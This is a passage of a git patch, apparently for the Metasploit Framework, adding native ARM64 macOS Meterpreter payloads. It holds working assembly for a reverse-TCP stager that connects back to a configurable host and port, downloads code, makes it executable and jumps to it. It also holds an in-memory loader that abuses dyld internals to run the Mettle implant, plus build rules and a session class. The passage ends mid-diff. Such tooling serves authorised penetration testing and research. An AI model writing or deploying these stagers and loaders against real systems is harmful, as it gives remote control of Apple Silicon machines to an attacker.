From 5f8767f4cff07bb3ef42e310590e5141223829b7 Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Tue, 11 Oct 2022 19:21:58 +0900 Subject: [PATCH] M1ssion Dyld Mettle: Aarch64 Payloads This builds on Back from the dyld by adding the required aarch64 assembly code to enable the OSX loader to run on the m1. This enables the use of native payloads on M1 or M2 devices that do not have Rosetta installed. --- data/templates/template_aarch64_darwin.bin | Bin 0 -> 50040 bytes .../shellcode/osx/aarch64/stage_mettle.s | 109 ++++++++++ .../osx/aarch64/stager_sock_reverse.s | 118 +++++++++++ external/source/shellcode/osx/stager/Makefile | 26 ++- external/source/shellcode/osx/stager/main.c | 193 ++++++++++++------ .../base/sessions/meterpreter_aarch64_osx.rb | 28 +++ lib/msf/util/exe.rb | 21 ++ lib/msf_autoload.rb | 2 + .../osx/aarch64/meterpreter_reverse_http.rb | 44 ++++ .../osx/aarch64/meterpreter_reverse_https.rb | 44 ++++ .../osx/aarch64/meterpreter_reverse_tcp.rb | 44 ++++ .../stagers/osx/aarch64/reverse_tcp.rb | 131 ++++++++++++ .../stages/osx/aarch64/meterpreter.rb | 140 +++++++++++++ tools/modules/generate_mettle_payloads.rb | 1 + 14 files changed, 834 insertions(+), 67 deletions(-) create mode 100755 data/templates/template_aarch64_darwin.bin create mode 100644 external/source/shellcode/osx/aarch64/stage_mettle.s create mode 100644 external/source/shellcode/osx/aarch64/stager_sock_reverse.s create mode 100644 lib/msf/base/sessions/meterpreter_aarch64_osx.rb create mode 100644 modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb create mode 100644 modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb create mode 100644 modules/payloads/stagers/osx/aarch64/reverse_tcp.rb create mode 100644 modules/payloads/stages/osx/aarch64/meterpreter.rb diff --git a/data/templates/template_aarch64_darwin.bin b/data/templates/template_aarch64_darwin.bin new file mode 100755 index 0000000000000000000000000000000000000000..27e941e1b46131f43603f9d142c159ef139d23e6 GIT binary patch literal 50040 zcmeI(Urbw790%~z+d`Jev?Ci1H$#no0z^wPh*1`$9gsm*Y11`QiOKPnc57!_2o#}? zY?Zkz!}*|_(PTcbs2P}<;GE*ir0iiaGqPY5GattEMRd9cC1#r<{(kq~(m&G?vt&=- zU-ILg-#Pc5d(Ma3$8-MruYZ>aVGWXdqz}bSa##r9t0}-?)Wq-q&(i zL~6NB4JmsQeSzNPuEP07jQQ3ZcW|9M-zsB1GSouKzIcBm9+Z*zjxOpcobOX(J~rjx zI(I(3H~W{}-lCMU$?0>-Mt9qGUC&|s)99*2!Iix@+15%a<<71gw*Q=u@72PQHRrmR zGIyQ%>*70%NENJ$YAqc4C3juiBV|xcsQQ>*^FFgR|F?J#jtZlX>YGLOdv&$8ZEJ37 z&3tR=f^|{NF<^XH{0`1c)CrN&EYkFQpw3#O4pZ%*nl1R77*Ffpr*(?HZ>sO0^ibwT zX3x2Px#L=!o~NJP4RI&+*eLn?s_EN?ymSjbBWBWZmRFe);e_ z53C9QxQY5~lqO2;X>*Cz*0=kYQcbGLiBQbG#ZK#r1n4G;hbVde(Xfh)BHZ~4r;Bh|Vayy&qZ})rgJ_tYn z0uX=z1Rwwb2tWV=5P$##AOHafKmY;|fB*y_009U<00Izz00bZa0SG_<0uX=z1Rwwb z2tWV=5P$##AOHafKmY;|fB*y_009U<00Izz00i;{Y*czE{geu&i82#KnFd|g7q%V6 zLO8OW{G5pz>X|)h74f?t_a?OiQ>Ggxur2Ce)^hiN% zrrJW8x!Q#Mmo-XljWV;w!oAV+nYezjBu$EyRA=6~milPf%37h&n-q;WLF3HLv08{J zk4+IJdb!eHN9G1oA{6V6swAnZJ)Pl4>ts;v>5s(i0rGsR{6M|yUNGu=My+uO9EZN9w5_wr2Z;faHX#QCH9 uDsOfEm7c#^yij?d{r=5gPFDRfckPMkPo92n>FD(8jw^2_FRwdYeBmEGPp4l1 literal 0 HcmV?d00001 diff --git a/external/source/shellcode/osx/aarch64/stage_mettle.s b/external/source/shellcode/osx/aarch64/stage_mettle.s new file mode 100644 index 0000000000..61e3566a98 --- /dev/null +++ b/external/source/shellcode/osx/aarch64/stage_mettle.s @@ -0,0 +1,109 @@ +.equ SYS_RECVFROM, 0x200001d +.equ SYS_MPROTECT, 0x200004a +.equ SYS_MMAP, 0x20000c5 +.equ SYS_EXIT, 0x2000001 + +.global _main +_main: + /* mmap(addr=0, length=stager_size, prot=2, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + adr x1, stager_size + ldr x1, [x1] + mov x2, #2 + mov x3, #0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + + /* sockfd is in x13 */ + mov x10, x0 + + /* recvfrom(sockfd='x13', address='x10', length=stager_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x10 + adr x2, stager_size + ldr x2, [x2] + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + + /* mprotect(addr='x10', length=stager_size, prot=0x5) */ + mov x0, x10 + adr x1, stager_size + ldr x1, [x1] + mov x2, #5 + ldr x16, =SYS_MPROTECT + svc 0 + + /* mmap(addr=0, length=payload_size, prot=3, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + adr x1, payload_size + ldr x1, [x1] + mov x2, #3 + mov x3, #0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + + mov x11, x0 + + /* recvfrom(sockfd='x13', address='x11', length=payload_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x11 + adr x2, payload_size + ldr x2, [x2] + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + + /* add entry_offset */ + adr x0, entry_offset + ldr x0, [x0] + add x0, x0, x10 + adr x10, payload_size + ldr x10, [x10] + mov x12, x11 + mov x15, x0 + + /* make stack space */ + /* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + mov x1, 0x4000 + mov x2, 3 + mov x3, 0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + //mov x1, sp + //bic sp, x1, #15 + //sub sp, sp, 0x1000 + add x0, x0, 0x2000 + mov sp, x0 + + mov x0, x13 + + /* jump to main_osx */ + blr x15 + +failed: + mov x0, 0 + ldr x16, =SYS_EXIT + svc 0 + +.balign 16 +stager_size: + .word 0x4242 + .word 0x4343 +payload_size: + .word 0x4444 + .word 0x4545 +entry_offset: + .word 0x4646 + .word 0x4747 diff --git a/external/source/shellcode/osx/aarch64/stager_sock_reverse.s b/external/source/shellcode/osx/aarch64/stager_sock_reverse.s new file mode 100644 index 0000000000..6c273d2b59 --- /dev/null +++ b/external/source/shellcode/osx/aarch64/stager_sock_reverse.s @@ -0,0 +1,118 @@ +.equ SYS_RECVFROM, 0x200001d +.equ SYS_MPROTECT, 0x200004a +.equ SYS_CONNECT, 0x2000062 +.equ SYS_SELECT, 0x200005d +.equ SYS_SOCKET, 0x2000061 +.equ SYS_MMAP, 0x20000c5 +.equ SYS_EXIT, 0x2000001 + +.equ AF_INET, 0x2 +.equ SOCK_STREAM, 0x1 + +.equ STDIN, 0x0 +.equ STDOUT, 0x1 +.equ STDERR, 0x2 + +.equ IP, 0x0100007f +.equ PORT, 0x5C11 + +.global _main +_main: + /* mmap(addr=0, length=0x1000, prot=0x2, flags=0x1002, fd=-1, offset=0) */ + mov x0, xzr + mov x1, #0x1000 + mov x2, #2 + mov x3, #0x1002 + mvn x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + cmn x0, #0x1 + beq failed + + /* save retry_count */ + mov x12, x0 + mov x10, 0 + adr x11, retry_count + ldr x11, [x11] + + /* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */ +socket: + mov x0, AF_INET + mov x1, SOCK_STREAM + mov x2, 0 + ldr x16, =SYS_SOCKET + svc 0 + //cbz w0, retry + + mov x13, x0 + + /* connect(sockfd, {AF_INET,4444,127.0.0.1}, 16) */ + adr x1, caddr + ldr x1, [x1] + str x1, [sp, #-8]! + mov x1, sp + mov x2, 16 + ldr x16, =SYS_CONNECT + svc 0 + //cbnz w0, retry + + /* recvfrom(sockfd='x13', address='x11', length=0x1000, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x12 + mov x2, #328 + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + //cbnz w0, retry + + /* mprotect(addr, 328, 0x5) */ + mov x0, x12 + mov x1, #328 + mov x2, #5 + ldr x16, =SYS_MPROTECT + svc 0 + + br x12 + +retry: + sub x11, x11, #1 + cmp x11, 0 + beq failed + + /* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */ + mov x0, 0 + mov x1, 0 + adr x2, sleep_nanoseconds + ldr x2, [x2] + adr x3, sleep_seconds + ldr x3, [x3] + stp x3, x2, [sp, #-16]! + mov x4, sp + mov x2, 0 + mov x3, 0 + ldr x16, =SYS_SELECT + svc 0 + bal socket + +failed: + mov x0, 0x1 + ldr x16, =SYS_EXIT + svc 0 + +.balign 16 +caddr: + .short AF_INET + .short PORT + .word IP +retry_count: + .word 0x4242 + .word 0x4242 +sleep_nanoseconds: + .word 0x4343 + .word 0x4343 +sleep_seconds: + .word 0x4444 + .word 0x4444 diff --git a/external/source/shellcode/osx/stager/Makefile b/external/source/shellcode/osx/stager/Makefile index aa1f001be2..9e58cb09b2 100644 --- a/external/source/shellcode/osx/stager/Makefile +++ b/external/source/shellcode/osx/stager/Makefile @@ -1,19 +1,27 @@ CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0 GCC_BIN_OSX=`xcrun --sdk macosx -f gcc` GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS) -GCC_OSX=$(GCC_BASE_OSX) -arch x86_64 +GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64 +GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64 -all: clean main_osx +all: clean x64_osx_stage aarch64_osx_stage -main_osx: main.c - $(GCC_OSX) -o $@ $^ +x64_osx_stage: main.c + $(GCC_OSX_X64) -o $@ $^ -install: main_osx - cp main_osx ../../../../../data/meterpreter/x64_osx_stage +aarch64_osx_stage: main.c + $(GCC_OSX_AARCH64) -o $@ $^ -shellcode: install - otool -tv main_osx +install: x64_osx_stage aarch64_osx_stage + cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage + cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage + +x64_shellcode: install + otool -tv x64_osx_stage + +aarch64_shellcode: install + otool -tv aarch64_osx_stage clean: - rm -f *.o main_osx + rm -f *.o x64_osx_stage aarch64_osx_stage diff --git a/external/source/shellcode/osx/stager/main.c b/external/source/shellcode/osx/stager/main.c index 4cc43e720f..51c9f57301 100644 --- a/external/source/shellcode/osx/stager/main.c +++ b/external/source/shellcode/osx/stager/main.c @@ -256,7 +256,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma); typedef void (*SetUpTLVs_ptr)(void * ma, void * apis); typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders); -typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a); uint64_t find_macho(uint64_t addr, unsigned int increment); uint64_t find_dylib(uint64_t addr, unsigned int increment); @@ -272,6 +271,24 @@ static void print(char * str); #define printf(a,b) print(a); #endif +#ifdef __aarch64__ +/* +typedef uint64_t (*VDPrintf_ptr)(uint64_t fd, const char * fmt, ...); +void printf_sdyld_arm64(char * a, void * b, uint64_t sdyld) { + VDPrintf_ptr VDPrintf_func = find_symbol(sdyld, "__simple_vdprintf", sdyld); + //VDPrintf_func(1, a, b); + printf(a,b); +}*/ +#define printf_sdyld(a,b) print(a); +#else +typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a); +void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) { + SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); + SimpleDPrintf_func(1, a, b); +} +#define printf_sdyld(a,b) printf_sdyld_x86_64(a, b, sdyld); +#endif + #define DYLD_BASE_ADDR 0x00007fff5fc00000 #define MAX_OSXVM_ADDR 0x00007ffffffff000 @@ -283,10 +300,17 @@ int main(int argc, char** argv) #endif uint64_t buffer = 0; uint64_t buffer_size = 0; +#ifdef __aarch64__ + __asm__( + "mov %0, x12\n" + "mov %1, x10\n" + : "=r"(buffer), "=r"(buffer_size)); +#else __asm__( "movq %%r10, %0;\n" "movq %%r12, %1;\n" : "=g"(buffer), "=g"(buffer_size)); +#endif #ifdef DEBUG print("hello world!\n"); @@ -384,9 +408,10 @@ int main(int argc, char** argv) } //printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); //printf("JITLMP: %lld\n", JustInTimeLoaderMake_func); - SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); + //SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); #ifdef DEBUG - SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func); + //printf_sdyld("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func); + printf_sdyld("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", sdyld)); #endif // Loader::mapSegments uintptr_t vmSpace = 0; @@ -397,11 +422,11 @@ int main(int argc, char** argv) #endif *(uint32_t*)buffer = 0xfeedfacf; #ifdef DEBUG - SimpleDPrintf_func(1, "Buffer: %lld\n", buffer); + printf_sdyld("Buffer: %lld\n", buffer); #endif AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill); #ifdef DEBUG - SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace); + printf_sdyld("vmSpace: %lld\n", vmSpace); #endif bool isTranslated = false; // Rosetta. uint64_t extraAllocSize = 0; @@ -415,24 +440,24 @@ int main(int argc, char** argv) } vmSpace += extraAllocSize; #ifdef DEBUG - SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false"); + printf_sdyld("Translated: %s\n", isTranslated ? "true" : "false"); #endif uintptr_t loadAddress = 0; VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld); uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld); void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1); #ifdef DEBUG - SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret); - SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress); + printf_sdyld("VMAllocate Ret: %lld\n", vmallocate_ret); + printf_sdyld("LoadAddress: %lld\n", loadAddress); #endif // Put regions together... // JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld); WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) { #ifdef DEBUG - SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr); - SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount); - SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount); + printf_sdyld("Region Ptrs: %lld\n", rptr); + printf_sdyld("usedCount: %lld\n", rptr->_usedCount); + printf_sdyld("allocCount: %lld\n", rptr->_allocCount); #endif uint32_t segIndex = 0; uint64_t sliceOffset = 0; @@ -440,12 +465,12 @@ int main(int argc, char** argv) for (int i = 0 ; i < rptr->_usedCount; i++) { const struct Region region = rptr->_elements[i]; #ifdef DEBUG - SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset); - SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms); - SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill); - SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData); - SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset); - SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize); + printf_sdyld("Region vmOffset: %lld\n", region.vmOffset); + printf_sdyld("Region perms: %lld\n", region.perms); + printf_sdyld("Region isZeroFill: %lld\n", region.isZeroFill); + printf_sdyld("Region readOnlyData: %lld\n", region.readOnlyData); + printf_sdyld("Region fileOffset: %lld\n", region.fileOffset); + printf_sdyld("Region fileSize: %lld\n", region.fileSize); print("----\n"); #endif if ( region.isZeroFill || (region.fileSize == 0) ) @@ -455,31 +480,31 @@ int main(int argc, char** argv) int perms = region.perms; MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld); #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); - SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset)); - SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize); - SimpleDPrintf_func(1, "Perms: %lld\n", region.perms); - SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS); - SimpleDPrintf_func(1, "FD: %lld\n", (int)-1); - SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset)); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Addr: %lld\n", (void*)(loadAddress + region.vmOffset)); + printf_sdyld("Size: %lld\n", (size_t)region.fileSize); + printf_sdyld("Perms: %lld\n", region.perms); + printf_sdyld("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS); + printf_sdyld("FD: %lld\n", (int)-1); + printf_sdyld("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset)); #endif // MMap will init this with zeros. void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); lastOffset = loadAddress + region.vmOffset + region.fileSize; #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); - SimpleDPrintf_func(1, "Buffer: %lld\n", buffer); - SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Buffer: %lld\n", buffer); + printf_sdyld("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset); #endif memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize); #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); #endif Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld); Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms); #ifdef DEBUG - SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress); - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("SegAddress: %lld\n", segAddress); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); #endif ++segIndex; } @@ -502,52 +527,52 @@ int main(int argc, char** argv) struct Loaded * loaded = (struct Loaded*)(apis+32); uintptr_t startLoaderCount = loaded->size; #ifdef DEBUG - SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size); - SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements)); - SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity); + printf_sdyld("Loaded Size: %lld\n", loaded->size); + printf_sdyld("Loaded first: %lld\n", (loaded->elements)); + printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity); #endif struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false }; fileid->iNode = 0; fileid->modTime = 0; fileid->isValid = false; #ifdef DEBUG - SimpleDPrintf_func(1, "Apis: %lld\n", apis); - SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress); - SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func); + printf_sdyld("Apis: %lld\n", apis); + printf_sdyld("LoadAddress: %lld\n", loadAddress); + printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func); #endif void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0); #ifdef DEBUG - SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader); - SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader); - SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size); - SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity); + printf_sdyld("TopLoader: %lld\n", topLoader); + printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader); + printf_sdyld("Loaded Size: %lld\n", loaded->size); + printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity); #endif struct PartialLoader * pl = (struct PartialLoader *)topLoader; #ifdef DEBUG - SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress); - SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped); - SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden); - SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic); - SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt); + printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress); + printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped); + printf_sdyld("hidden: %lld\n", pl->hidden); + printf_sdyld("Magic: %lld\n", pl->magic); + printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt); #endif pl->lateLeaveMapped = 1; pl = (struct PartialLoader *)topLoader; #ifdef DEBUG - SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped); + printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped); #endif struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) }; loadChainMain->previous = 0; loadChainMain->image = *(void **)(apis+24); #ifdef DEBUG - SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24)); - SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image); + printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24)); + printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image); #endif struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) }; loadChainCaller->previous = &loadChainMain; loadChainCaller->image = &(loaded->elements[0]); #ifdef DEBUG - SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0])); - SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader); + printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0])); + printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader); #endif struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader }; loadChain->previous = &loadChainCaller; @@ -569,12 +594,12 @@ int main(int argc, char** argv) #endif }; #ifdef DEBUG - SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer); - SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount); + printf_sdyld("buffer: %lld\n", diag->_buffer); + printf_sdyld("startLoaderCount: %lld\n", startLoaderCount); #endif uint64_t newLoadersCount = loaded->size - startLoaderCount; #ifdef DEBUG - SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount); + printf_sdyld("newLoadersCount: %lld\n", newLoadersCount); #endif void * * newLoaders = &loaded->elements[startLoaderCount]; struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount }; @@ -596,11 +621,11 @@ int main(int argc, char** argv) #endif void * ldr = newLoaders[i]; #ifdef DEBUG - SimpleDPrintf_func(1, "Ldr: %lld\n", ldr); + printf_sdyld("Ldr: %lld\n", ldr); #endif ApplyFixups_func(ldr, diag, apis, &dcdclsw, true); #ifdef DEBUG - SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer); + printf_sdyld("Diag: %lld\n", diag->_buffer); #endif } // TODO: Figure out if we need addPermanentRanges. @@ -642,18 +667,18 @@ int main(int argc, char** argv) uintptr_t flags = 0; void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags); #ifdef DEBUG - SimpleDPrintf_func(1, "Handle: %lld\n", handle); + printf_sdyld("Handle: %lld\n", handle); #endif VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld); VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize); #ifdef DEBUG - SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace); + printf_sdyld("VMDeallocated: %lld\n", structspace); #endif NSModule nm = handle; NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset); NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main"); #ifdef DEBUG - SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main); + printf_sdyld("sym_main: %lld\n", sym_main); #endif NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset); addr_main = NSAddressOfSymbol_func(sym_main); @@ -773,6 +798,17 @@ uint64_t syscall_chmod(uint64_t path, long mode) { uint64_t chmod_no = 0x200000f; uint64_t ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(chmod_no), "r"(path), "r"(mode) + :); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -782,6 +818,7 @@ uint64_t syscall_chmod(uint64_t path, long mode) : "=g"(ret) : "g"(chmod_no), "S"(path), "g"(mode) :); +#endif return ret; } @@ -843,6 +880,21 @@ int detect_sierra() uint64_t valsizeptr = (uint64_t)&size; uint64_t ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "mov x2, %4;\n" + "mov x3, %5;\n" + "eor x4, x4, x4;\n" + "eor x5, x5, x5;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr) + : ); +#else __asm__( "mov %1, %%rax;\n" "mov %2, %%rdi;\n" @@ -856,6 +908,7 @@ int detect_sierra() : "=g"(ret) : "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr) : ); +#endif // osrelease is 16.x.x on Sierra if (ret == 0 && size > 2) { @@ -874,6 +927,16 @@ uint64_t syscall_shared_region_check_np() long shared_region_check_np = 0x2000126; // #294 uint64_t address = 0; unsigned long ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(shared_region_check_np), "r"(&address) + : "x16", "x0" ); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -882,6 +945,7 @@ uint64_t syscall_shared_region_check_np() : "=g"(ret) : "g"(shared_region_check_np), "g"(&address) : "rax", "rdi" ); +#endif return address; } @@ -916,6 +980,18 @@ void print(char * str) unsigned long long addr = (unsigned long long) str; unsigned long ret = 0; /* ret = write(stdout, str, len); */ +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "mov x2, %4;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(write), "r"(stdout), "r"(addr), "r"(len) + : "x0", "x1", "x2" ); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -926,5 +1002,6 @@ void print(char * str) : "=g"(ret) : "g"(write), "g"(stdout), "S"(addr), "g"(len) : "rax", "rdi", "rdx" ); +#endif } #endif diff --git a/lib/msf/base/sessions/meterpreter_aarch64_osx.rb b/lib/msf/base/sessions/meterpreter_aarch64_osx.rb new file mode 100644 index 0000000000..6cfd49ca45 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_aarch64_osx.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_aarch64_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_AARCH64 + end +end + +end +end + diff --git 